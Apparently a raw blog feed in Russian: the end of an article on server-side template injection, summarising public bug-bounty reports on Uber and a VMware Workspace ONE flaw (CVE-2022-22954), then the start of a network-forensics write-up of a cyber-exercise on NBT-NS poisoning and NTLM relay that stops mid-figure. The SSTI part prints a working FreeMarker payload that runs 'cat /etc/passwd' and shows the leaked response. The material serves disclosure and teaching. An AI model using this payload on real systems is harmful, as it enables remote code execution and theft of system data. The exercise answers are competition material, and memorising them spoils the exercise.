    &lt;img src=&quot;https://img2.teletype.in/files/9f/4c/9f4c3545-9278-4633-a485-340c605c717d.png&quot; width=&quot;959&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;yaU7&quot;&gt;В результате вместо имени пользователя после «Dear» идёт результат команды id.&lt;/p&gt;
  &lt;p id=&quot;VC7l&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;AQm9&quot;&gt;Публичные отчёты&lt;/h2&gt;
  &lt;p id=&quot;HoE2&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;e6Cp&quot;&gt;В окончании разбора данной уязвимости рассмотрим два реальных случая.&lt;/p&gt;
  &lt;p id=&quot;3kBg&quot;&gt;В большей части отчётов, которые мне удалось найти по данной уязвимости, происходит тестирование систем генерации электронных писем. Случай с Uber как раз такой из них.&lt;/p&gt;
  &lt;p id=&quot;KupF&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;NWmY&quot;&gt;Uber&lt;/h3&gt;
  &lt;p id=&quot;ipCO&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;YXGL&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a5/46/a5463d57-7630-4f5d-8c3e-d269afbcceac.png&quot; width=&quot;1280&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;ZSHW&quot;&gt;&lt;strong&gt;Багхантер:&lt;/strong&gt; Orange Tsai (orange)&lt;/p&gt;
  &lt;p id=&quot;C4zU&quot;&gt;&lt;strong&gt;Дата:&lt;/strong&gt; 25 марта 2016 года&lt;/p&gt;
  &lt;p id=&quot;VeSj&quot;&gt;&lt;strong&gt;Вознаграждение:&lt;/strong&gt; $10,000&lt;/p&gt;
  &lt;p id=&quot;1MR2&quot;&gt;&lt;strong&gt;Ссылка на отчёт:&lt;/strong&gt; &lt;a href=&quot;https://hackerone.com/reports/125980&quot; target=&quot;_blank&quot;&gt;https://hackerone.com/reports/125980&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;q6jQ&quot;&gt;Уязвимость была обнаружена на домене &lt;a href=&quot;http://rider.uber.com/&quot; target=&quot;_blank&quot;&gt;rider.uber.com&lt;/a&gt;, который используется для обслуживания пассажирской части веб-приложения.&lt;/p&gt;
  &lt;p id=&quot;BNIk&quot;&gt;Как и у всех сервисов, которые работают с аккаунтами пользователей, при изменении профиля (в данном случае было изменено имя человека) на привязанный email приходит уведомление об этом действии:&lt;/p&gt;
  &lt;p id=&quot;x8YW&quot;&gt;&lt;/p&gt;
  &lt;blockquote id=&quot;yqyq&quot;&gt;Hi {name},&lt;br /&gt;&lt;br /&gt;The following information on your Uber account has recently been updated.&lt;br /&gt; - name&lt;br /&gt;&lt;br /&gt;If you did not make this change or need assistance, please visit: t.uber.com/account-update&lt;/blockquote&gt;
  &lt;p id=&quot;bEXu&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;uqXh&quot;&gt;Как и в примере, который рассматривался выше, Uber использовал шаблонизатор Jinja2 для создания писем с уведомлениями. В письма подставлялись имена пользователей. Orange Tsai попробовал изменить имя на {{ &amp;#x27;7&amp;#x27;*7 }} и в результате получил письмо:&lt;/p&gt;
  &lt;p id=&quot;V101&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;0P2i&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b3/50/b3507626-bc97-42a5-ac1f-78632c7e3c09.png&quot; width=&quot;1366&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;nliT&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;n1mf&quot;&gt;Развить до RCE не удалось из-за ограничения по длине имени, но и сказать на 100%, что это невозможно, точно нельзя.&lt;/p&gt;
  &lt;p id=&quot;bXbX&quot;&gt;В результате Uber принял ошибку и устранил её, выплатив багхантеру $10 000.&lt;/p&gt;
  &lt;p id=&quot;p9ia&quot;&gt;Следующий пример более свежий и показывает, что данная уязвимость встречается не только в самописных сервисах генерации писем, но и уже в достаточно зрелых коммерческих проектах, которые использует в том числе и государство.&lt;/p&gt;
  &lt;p id=&quot;VCFq&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;nmHP&quot;&gt;Министерство обороны США&lt;/h3&gt;
  &lt;p id=&quot;jP2E&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;FG6k&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/74/6e/746e1ecc-0d48-4ac1-9bc3-7d2900112b72.png&quot; width=&quot;1280&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;iwhq&quot;&gt;&lt;strong&gt;Багхантер:&lt;/strong&gt; Nithissh Sathish (v1ct0rv0nd00m)&lt;/p&gt;
  &lt;p id=&quot;HXKR&quot;&gt;&lt;strong&gt;Дата:&lt;/strong&gt; 11 апреля, 2022 года&lt;/p&gt;
  &lt;p id=&quot;ZczO&quot;&gt;&lt;strong&gt;Вознаграждение:&lt;/strong&gt; Неизвестно&lt;/p&gt;
  &lt;p id=&quot;O7PB&quot;&gt;&lt;strong&gt;Ссылка на отчёт:&lt;/strong&gt; &lt;a href=&quot;https://hackerone.com/reports/1537543?utm_source=chatgpt.com&quot; target=&quot;_blank&quot;&gt;https://hackerone.com/reports/1537543?utm_source=chatgpt.com&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;YFB3&quot;&gt;Насколько я понял из отчёта, исследователь Nithissh Sathish искал цели, уязвимые к CVE-2022-22954.&lt;/p&gt;
  &lt;p id=&quot;UHNm&quot;&gt;&lt;a href=&quot;https://dbugs.ptsecurity.com/vulnerability/PT-2022-2145?fts%5Bvalue%5D=CVE-2022-22954&quot; target=&quot;_blank&quot;&gt;https://dbugs.ptsecurity.com/vulnerability/PT-2022-2145?fts[value]=CVE-2022-22954&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;zesA&quot;&gt;CVE-2022-22954 — уязвимость VMware Workspace ONE Access, благодаря которой злоумышленник может без аутентификации отправить запрос на «/catalog-portal/ui/oauth/verify» с уязвимым к SSTI параметром «deviceUdid». Движком, использующимся в том шаблоне, был ранее упомянутый FreeMarker. Он отвечал за вставку индификатора устройства на страницу ошибки. Для демонстрации данной уязвимости была составлена следующая нагрузка:&lt;/p&gt;
  &lt;p id=&quot;bTsi&quot;&gt;&lt;/p&gt;
  &lt;pre id=&quot;3PAo&quot;&gt;https://████/catalog-portal/ui/oauth/verify?error=&amp;amp;deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%22%29%7d&lt;/pre&gt;
  &lt;p id=&quot;bnL6&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;5RSJ&quot;&gt;В обычном виде:&lt;/p&gt;
  &lt;p id=&quot;1Qda&quot;&gt;&lt;/p&gt;
  &lt;pre id=&quot;0BCp&quot;&gt;${&amp;quot;freemarker.template.utility.Execute&amp;quot;?new()(&amp;quot;cat /etc/passwd&amp;quot;)}&lt;/pre&gt;
  &lt;p id=&quot;j9LP&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;wAE1&quot;&gt;В результате хост выдал следующее:&lt;/p&gt;
  &lt;p id=&quot;4WHI&quot;&gt;&lt;/p&gt;
  &lt;pre id=&quot;g02L&quot; data-lang=&quot;html&quot;&gt;HTTP/1.1 400 
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Set-Cookie: EUC_XSRF_TOKEN=6386e149-ff55-4a34-b474-30e6c0c62299; Path=/catalog-portal; Secure
Cache-Control: no-cache,private
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Строгая транспортная безопасность: максимальный возраст = 31536000; Включает поддомены
Параметры X-рамки: ТОГО ЖЕ ПРОИСХОЖДЕНИЯ.
Тип контента: текст / html; кодировка = UTF-8
Язык контента: en-US
Дата: Пн, 11 апр. 2022 г. 15:03:40 GMT
Подключение: закрыто
Длина содержимого: 3576

&amp;lt;!DOCTYPE HTML&amp;gt;
&amp;lt;html xmlns=&amp;quot;http://www.w3.org/1999/html&amp;quot;&amp;gt;
&amp;lt;head&amp;gt;
 &amp;lt;title&amp;gt;Страница с ошибкой&amp;lt;/title&amp;gt;
 &amp;lt;meta name=&amp;quot;viewport&amp;quot; content=&amp;quot;width=device-width, initial-scale=1, maximum-scale=1&amp;quot;/&amp;gt;
 &amp;lt;meta http-equiv=&amp;quot;X-UA-Compatible&amp;quot; content=&amp;quot;IE=edge&amp;quot;/&amp;gt;
 &amp;lt;style&amp;gt;
 body {
 background: #465361;
 }

 .error-container {
 position: fixed;
 top: 50%;
 left: 50%;
 transform: translate(-50%, -50%);
 -ms-transform: translate(-50%, -50%);
 text-align: center;
 width: 25%;
 background-color: #fff;
 padding: 20px;
 box-shadow: 0 3px 2px -2px rgba(0, 0, .5, 0.35);
 border-radius: 4px;
 }

 .error-img-container svg {
 width: 40px;
 }

 .error-text-heading {
 font-weight: bold;
 padding-top: 5px;
 padding-bottom: 10px;
 }

 .error-text-container a {
 text-decoration: none;
 }
 &amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;div class=&amp;quot;error-container&amp;quot;&amp;gt;
 &amp;lt;div class=&amp;quot;error-img-container&amp;quot;&amp;gt;
 &amp;lt;svg id=&amp;quot;icon-warning-big&amp;quot; xmlns=&amp;quot;http://www.w3.org/2000/svg&amp;quot; width=&amp;quot;32&amp;quot; height=&amp;quot;32&amp;quot; viewBox=&amp;quot;0 0 32 32&amp;quot;&amp;gt;
 &amp;lt;путь d=&amp;quot;M28.48,24.65,17.64,5.88a1.46,1.46,0,0,0-1.28-.74h0a1.46,1.46,0,0,0-1.28.74L4.25,24.64a1.48,1.48,0,0,0,1.28,2.22H27.2a1.48,1.48,0,0,0,1.28-2.21Zm-1.07.86a.24.24,0,0,1-.21.12H5.53a.24.24,0,0,1-.21-.37L16.15,6.49a.24.24,0,0,1,.21-.12h0a.24.24,0,0,1,.21.12L27.41,25.26A.23.23,0,0,1,27.41,25.51Z&amp;quot;
 fill=&amp;quot;#991700&amp;quot; stroke-width=&amp;quot;0&amp;quot;/&amp;gt;
 &amp;lt;circle cx=&amp;quot;16.36&amp;quot; cy=&amp;quot;13.53&amp;quot; r=&amp;quot;0.92&amp;quot; fill=&amp;quot;#f38b00&amp;quot; stroke-width=&amp;quot;0&amp;quot;/&amp;gt;
 &amp;lt;path d=&amp;quot;M16.36,16.43a.62.62,0,0,0-.62.62v5.55a.62.62,0,0,0,1.23,0V17A.62.62,0,0,0,16.36,16.43Z&amp;quot;
 fill=&amp;quot;#991700&amp;quot; stroke-width=&amp;quot;0&amp;quot;/&amp;gt;
 &amp;lt;/svg&amp;gt;
 &amp;lt;/div&amp;gt;
 &amp;lt;div class=&amp;quot;error-text-heading&amp;quot;&amp;gt;Запрос не выполнен&amp;lt;/div&amp;gt;
 &amp;lt;div class=&amp;quot;error-text-container&amp;quot;&amp;gt;
 &amp;lt;p&amp;gt;Пожалуйста, обратитесь к своему ИТ-администратору.&amp;lt;/p&amp;gt;
 &amp;lt;a href=&amp;quot;/catalog-portal/ui/logout?error=&amp;amp;deviceUdid=$%7B%22freemarker.template.utility.Execute%22?new()(%22cat%20/etc/passwd%22)%7D&amp;quot;&amp;gt;Выйти&amp;lt;/a&amp;gt;
 &amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;script&amp;gt;
 if (console &amp;amp;&amp;amp; console.log) {
 console.log(&amp;quot;auth.context.invalid&amp;quot;);
 console.log(&amp;quot;Контекст авторизации недействителен. Получен запрос на вход с кодом клиента: ███████, идентификатор устройства: root:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/dev/null████████
 }
&amp;lt;/script&amp;gt;
&amp;lt;/html&amp;gt;

* Как видите, в ответе содержится информация из **/etc/passwd**

## Предлагаемые меры по смягчению последствий/исправлению ситуации
Обновите экземпляр до последней версии&lt;/pre&gt;
  &lt;p id=&quot;cHOM&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;75XB&quot;&gt;Отчёт был принят, а уязвимость устранена.&lt;/p&gt;
  &lt;p id=&quot;KnJu&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;ynd0&quot;&gt;Общие источники&lt;/h2&gt;
  &lt;p id=&quot;Kt7z&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;REf0&quot;&gt;&lt;a href=&quot;https://youtu.be/3cT0uE7Y87s?si=rgVPPvzzFqSDGTxt&quot; target=&quot;_blank&quot;&gt;https://youtu.be/3cT0uE7Y87s?si=rgVPPvzzFqSDGTxt&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;DZ6d&quot;&gt;&lt;a href=&quot;https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf&quot; target=&quot;_blank&quot;&gt;https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;a3Jd&quot;&gt;&lt;a href=&quot;https://habr.com/ru/companies/bizone/articles/896556/&quot; target=&quot;_blank&quot;&gt;https://habr.com/ru/companies/bizone/articles/896556/&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;FZGW&quot;&gt;&lt;a href=&quot;https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/index.html&quot; target=&quot;_blank&quot;&gt;https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/index.html&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;Rh7u&quot;&gt;&lt;a href=&quot;https://habr.com/ru/articles/788446/&quot; target=&quot;_blank&quot;&gt;https://habr.com/ru/articles/788446/&lt;/a&gt;&lt;/p&gt;

</content></entry><entry><id>none_notes:cyber_volga2025</id><link rel="alternate" type="text/html" href="https://blog.nonedev.tech/cyber_volga2025?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=none_notes"></link><title>Расследование инцидента (Кибер Волга 2025)</title><published>2025-05-23T10:38:55.754Z</published><updated>2025-10-16T16:52:10.021Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img2.teletype.in/files/9b/f6/9bf6fdce-311b-4617-9c47-1dda51ba996b.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img2.teletype.in/files/da/9b/da9b7927-8dd6-4206-ac02-77aeb400d489.png&quot;&gt;Данная статья представляет собой райтап с отборочного этапа киберучений «Кибер Волга 2025», написанный в продолжение статьи про MDNS/LLMNR/NBT-NS Poisoning и последующий NTLM Relay, чтобы начинающим специалистам с учётом прошлой статьи с новым взглядом разобрать задания соревнований.</summary><content type="html">
  &lt;figure id=&quot;3srK&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/da/9b/da9b7927-8dd6-4206-ac02-77aeb400d489.png&quot; width=&quot;1024&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;MPzf&quot;&gt;Введение&lt;/h2&gt;
  &lt;p id=&quot;hElf&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;tZPQ&quot;&gt;Данная статья представляет собой райтап с отборочного этапа киберучений «Кибер Волга 2025», написанный в продолжение статьи про MDNS/LLMNR/NBT-NS Poisoning и последующий NTLM Relay, чтобы начинающим специалистам с учётом прошлой статьи с новым взглядом разобрать задания соревнований.&lt;/p&gt;
  &lt;p id=&quot;uNn2&quot;&gt;Приятного чтения!&lt;/p&gt;
  &lt;p id=&quot;6Ww3&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;Uzy9&quot;&gt;Исходные данные&lt;/h2&gt;
  &lt;p id=&quot;gU05&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;B6lO&quot;&gt;Легенда&lt;/h3&gt;
  &lt;p id=&quot;MreC&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;Z0uH&quot;&gt;В одной небезызвестной компании по продаже бумаги возникли проблемы. На этот раз к ним в информационную инфраструктуру проникли хакеры и осуществляют коммерческий шпионаж. В рамках компьютерного инцидента утекли некоторые документы. Начальник одного из отделений компании обратился к вашей команде за помощью в анализе сетевого трафика. В ходе расследования вы понимаете, что внутри корпоративной сети мог оказаться инсайдер. Схема сети представлена на рисунке:&lt;/p&gt;
  &lt;p id=&quot;KYyB&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;vkzx&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/93/06/9306da22-516d-4230-9556-304fea17c210.png&quot; width=&quot;974&quot; /&gt;
  &lt;/figure&gt;
  &lt;h3 id=&quot;aOFE&quot;&gt;Задание&lt;/h3&gt;
  &lt;p id=&quot;2JHb&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;vxxD&quot;&gt;В задачи команды входит ответ на поставленные вопросы по результатам анализа сетевого трафика. Каждый вопрос имеет свой вес. В случае если команды набирают одинаковое количество баллов, приоритет отдается команде, которая раньше отправила свое решение. Ответы сдаются один раз.&lt;/p&gt;
  &lt;p id=&quot;wnps&quot;&gt;&lt;/p&gt;
  &lt;ol id=&quot;vkpl&quot;&gt;
    &lt;li id=&quot;7Ydj&quot;&gt;Укажите название компьютерной атаки, которая произошла первой&lt;/li&gt;
    &lt;li id=&quot;kOXG&quot;&gt;Обращение к какому несуществующему в корпоративной сети домену привело к успешности первой компьютерной атаки?&lt;/li&gt;
    &lt;li id=&quot;vtqe&quot;&gt;Какой IP-адрес был у СВТ, с которого злоумышленник украл аутентификационную информацию?&lt;/li&gt;
    &lt;li id=&quot;WMz2&quot;&gt;Какой IP-адрес был у СВТ хакера?&lt;/li&gt;
    &lt;li id=&quot;kOEB&quot;&gt;NTLMv2-SSP-хэш какой учетной записи был скомпрометирован?&lt;/li&gt;
    &lt;li id=&quot;4MLV&quot;&gt;Какой узел скомпрометирован в результате атаки NTLM-Relay?&lt;/li&gt;
    &lt;li id=&quot;sgsl&quot;&gt;Какое количество директорий находится на скомпрометированном СВТ (вопрос 6) в папке пользователя admin\CYBER?&lt;/li&gt;
    &lt;li id=&quot;Dw7R&quot;&gt;Укажите IP-адрес второго СВТ злоумышленника&lt;/li&gt;
    &lt;li id=&quot;SRRs&quot;&gt;Укажите содержимое украденного файла с СВТ из вопроса 6&lt;/li&gt;
    &lt;li id=&quot;4y5X&quot;&gt;При помощи какого протокола злоумышленник скомпрометировал узел file.cyber.local?&lt;/li&gt;
    &lt;li id=&quot;r4rf&quot;&gt;Какое имя учетной записи было использовано для проникновения на узел file.cyber.local?&lt;/li&gt;
    &lt;li id=&quot;NkqT&quot;&gt;Какое вспомогательное вредоносное программное обеспечение было загружено злоумышленником на узел file.cyber.local?&lt;/li&gt;
    &lt;li id=&quot;vdPm&quot;&gt;Какое количество людей изображено на изображении, украденном с узла file.cyber.local?&lt;/li&gt;
    &lt;li id=&quot;RpNN&quot;&gt;При помощи какого протокола злоумышленник получил доступ к контроллеру домена?&lt;/li&gt;
    &lt;li id=&quot;Oyh8&quot;&gt;Каким ведомством разработаны документы, украденные с контроллера домена?&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;pFbp&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;IT5A&quot;&gt;Совет&lt;/h3&gt;
  &lt;p id=&quot;Zmnc&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;GgCD&quot;&gt;Очень важно на данном этапе понять схему внутренней инфраструктуры. Обратите внимание на все данные нам IP-адреса и домены, так как атаки, как правило, пытаются быть замаскированными. Если вы будете понимать суть сценария, вам будет легче их заметить.&lt;/p&gt;
  &lt;p id=&quot;zZWn&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;8V48&quot;&gt;Решение&lt;/h2&gt;
  &lt;p id=&quot;S0Oj&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;Zb4k&quot;&gt;Хоть решение я распределил по вопросам, всё равно это единый сценарий, поэтому, чтобы понять всю суть инцидента, лучше изучать с первого вопроса.&lt;/p&gt;
  &lt;p id=&quot;XCam&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;if97&quot;&gt;Подготовка&lt;/h3&gt;
  &lt;p id=&quot;UfkU&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;FB8O&quot;&gt;Открыв дамп трафика, сразу можно заметить кучу трафика, никак не связанного с нашей внутренней сетью. Чтобы упростить анализ, лучше сразу составить фильтр, который оставит нам только нужное. В данном случае лучше:&lt;/p&gt;
  &lt;p id=&quot;TNjf&quot;&gt;&lt;/p&gt;
  &lt;ol id=&quot;cKiv&quot;&gt;
    &lt;li id=&quot;KUKm&quot;&gt;Исключить TCP и TLS протоколы, так как никаких полезных для нас данных из них мы извлечь не сможем.&lt;/li&gt;
    &lt;li id=&quot;yMQ7&quot;&gt;Оставить трафик, связанный с внутренней (192.168.1.0/24) и внешней (10.0.0.0/8, так как мы знаем только то, что IP может начинаться с 10, а остальные октеты могут быть разными) сетями.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;IKUb&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;91U4&quot;&gt;В итоге получается следующий фильтр:&lt;/p&gt;
  &lt;p id=&quot;rmaj&quot;&gt;&lt;/p&gt;
  &lt;pre id=&quot;v1b3&quot;&gt;!(_ws.col.protocol == &amp;quot;TCP&amp;quot;) &amp;amp;&amp;amp; !(_ws.col.protocol == &amp;quot;TLSv1.2&amp;quot;) &amp;amp;&amp;amp; ((ip.src == 192.168.1.0/24 &amp;amp;&amp;amp; ip.dst == 192.168.1.0/24) || (ip.src == 192.168.1.0/24 &amp;amp;&amp;amp; ip.dst == 10.0.0.0/8) || (ip.src == 10.0.0.0/8 &amp;amp;&amp;amp; ip.dst == 192.168.1.0/24))&lt;/pre&gt;
  &lt;p id=&quot;Ie8O&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;PfxB&quot;&gt;Он отфильтрует дамп так, что останутся пакеты, которые были только внутри скоупа. Тем не менее это не говорит о том, что лишнего трафика вообще не осталось, он лишь убрал большую часть.&lt;/p&gt;
  &lt;p id=&quot;1UKx&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;4BFI&quot;&gt;Подсказка: в Wireshark фильтры можно сохранять как кнопки — очень полезный функционал!&lt;/p&gt;
  &lt;p id=&quot;3VPN&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;d4FM&quot;&gt;Вопрос 1-4&lt;/h3&gt;
  &lt;p id=&quot;K9rf&quot;&gt;&lt;/p&gt;
  &lt;ul id=&quot;jBQI&quot;&gt;
    &lt;li id=&quot;gijX&quot;&gt;Укажите название компьютерной атаки, которая произошла первой.&lt;/li&gt;
    &lt;li id=&quot;wxNE&quot;&gt;Обращение к какому несуществующему в корпоративной сети домену привело к успешности первой компьютерной атаки?&lt;/li&gt;
    &lt;li id=&quot;pSCw&quot;&gt;Какой IP-адрес был у СВТ, с которого злоумышленник украл аутентификационную информацию?&lt;/li&gt;
    &lt;li id=&quot;gBeO&quot;&gt;Какой IP-адрес был у СВТ хакера?&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;Gvql&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;wbHX&quot;&gt;Теперь можно приступить к изучению. Постепенно спускаемся по дампу (важно, чтобы он был отсортирован по номеру пакета от меньшего к большему) и ищем «аномалии».&lt;/p&gt;
  &lt;p id=&quot;MXex&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;0xHK&quot;&gt;В результате находим следующие пакеты:&lt;/p&gt;
  &lt;p id=&quot;lga9&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;flIL&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/21/1a/211ab556-0067-41e9-ba6b-b503af4a13ee.png&quot; width=&quot;1876&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;lqD6&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;Antw&quot;&gt;Это пакеты протоколов DNS, NBNS, MDNS и LLMNR. Насколько вы помните, именно эти пакеты участвуют в атаке MDNS/LLMNR/NBT-NS Poisoning. Но почему мы решили, что они выглядят подозрительно? Внимательно посмотрим на содержимое:&lt;/p&gt;
  &lt;p id=&quot;sPSX&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;06os&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/14/8e/148ed42e-530c-4b80-80f8-be77d1dd205b.png&quot; width=&quot;758&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;lO7c&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;Siyq&quot;&gt;Хост с IP 192.168.1.101 (который предположительно является одним из двух неподписанных ARM на схеме из условия и вместе с этим жертвой) запрашивает ответ из DNS-записей контроллера домена по некоему cloud.cyber.local, который отсутствует как на схеме сети, так и в записях DNS контроллера домена, что мы можем понять по его ответу. Но в следующих пакетах при NBNS-рассылке неожиданно отзывается 192.168.1.105, что вполне может быть подменой от злоумышленника.&lt;/p&gt;
  &lt;p id=&quot;OL4z&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;g86a&quot;&gt;В итоге предположим, что:&lt;/p&gt;
  &lt;p id=&quot;1PE0&quot;&gt;&lt;/p&gt;
  &lt;ol id=&quot;X2Lk&quot;&gt;
    &lt;li id=&quot;CrnS&quot;&gt;Укажите название компьютерной атаки, которая произошла первой - NBT-NS-spoofing&lt;/li&gt;
    &lt;li id=&quot;pniw&quot;&gt;Обращение к какому несуществующему в корпоративной сети домену привело к успешности первой компьютерной атаки? - cloud&lt;/li&gt;
    &lt;li id=&quot;quZq&quot;&gt;Какой IP-адрес был у СВТ, с которого злоумышленник украл аутентификационную информацию? - 192.168.1.101&lt;/li&gt;
    &lt;li id=&quot;JGe1&quot;&gt;Какой IP-адрес был у СВТ хакера? - 192.168.1.105&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;dzSn&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;wtdj&quot;&gt;Вопрос 5-9&lt;/h3&gt;
  &lt;p id=&quot;QcEy&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;jzEt&quot;&gt;Теперь, когда у нас есть информация о первом подвергшемся атаке хосте, можно сказать, что мы встали на лыжню, по которой шёл злоумышленник, и дальнейшее изучение пройдёт без проблем.&lt;/p&gt;
  &lt;p id=&quot;GEE1&quot;&gt;Чтобы ещё быстрее найти дальнейший шаг злоумышленника, с помощью фильтра оставим трафик, связанный только с СВТ злоумышленника, куда ушли аутентификационные данные (192.168.1.105):&lt;/p&gt;
  &lt;p id=&quot;RcgU&quot;&gt;&lt;/p&gt;
  &lt;pre id=&quot;D1xF&quot;&gt;(!(_ws.col.protocol == &amp;quot;TCP&amp;quot;) &amp;amp;&amp;amp; !(_ws.col.protocol == &amp;quot;TLSv1.2&amp;quot;) &amp;amp;&amp;amp; ((ip.src == 192.168.1.0/24 &amp;amp;&amp;amp; ip.dst == 192.168.1.0/24) || (ip.src == 192.168.1.0/24 &amp;amp;&amp;amp; ip.dst == 10.0.0.0/8) || (ip.src == 10.0.0.0/8 &amp;amp;&amp;amp; ip.dst == 192.168.1.0/24))) &amp;amp;&amp;amp; ip.addr == 192.168.1.105&lt;/pre&gt;
  &lt;p id=&quot;ZAdy&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;iw3F&quot;&gt;Траффика стало намного меньше, и сразу в глаза бросаются несколько первых с начала жёлтых блоков пакетов:&lt;/p&gt;
  &lt;p id=&quot;bEDc&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;xnrr&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/03/e6/03e64f9e-99b1-45ec-b6f1-a3fd94e5bdc3.png&quot; width=&quot;1247&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;HBZk&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a5/e4/a5e4404c-2424-4e2c-9348-7e88e4c537e8.png&quot; width=&quot;1288&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;Vgb8&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/12/f8/12f8e01f-e355-474e-a8d1-90cde1efa553.png&quot; width=&quot;1342&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;WUNL&quot;&gt;То есть хост последовательно начал соединяться со всеми СВТ в сети, что указывает на проведение сканирования, видимо, с целью проверки подписи SMB и составления списка пригодных для NTLM-Relay атаки хостов.&lt;/p&gt;
  &lt;p id=&quot;Wzc9&quot;&gt;Подошли только два хоста, это 192.168.1.5 и 192.168.1.100, на которые впоследствии и пошла атака:&lt;/p&gt;
  &lt;p id=&quot;NIw7&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;ols4&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/52/cb/52cb3081-8031-40d7-bb6f-6eae29b4be93.png&quot; width=&quot;1033&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;ueR0&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;HPsf&quot; class=&quot;m_column&quot;&gt;
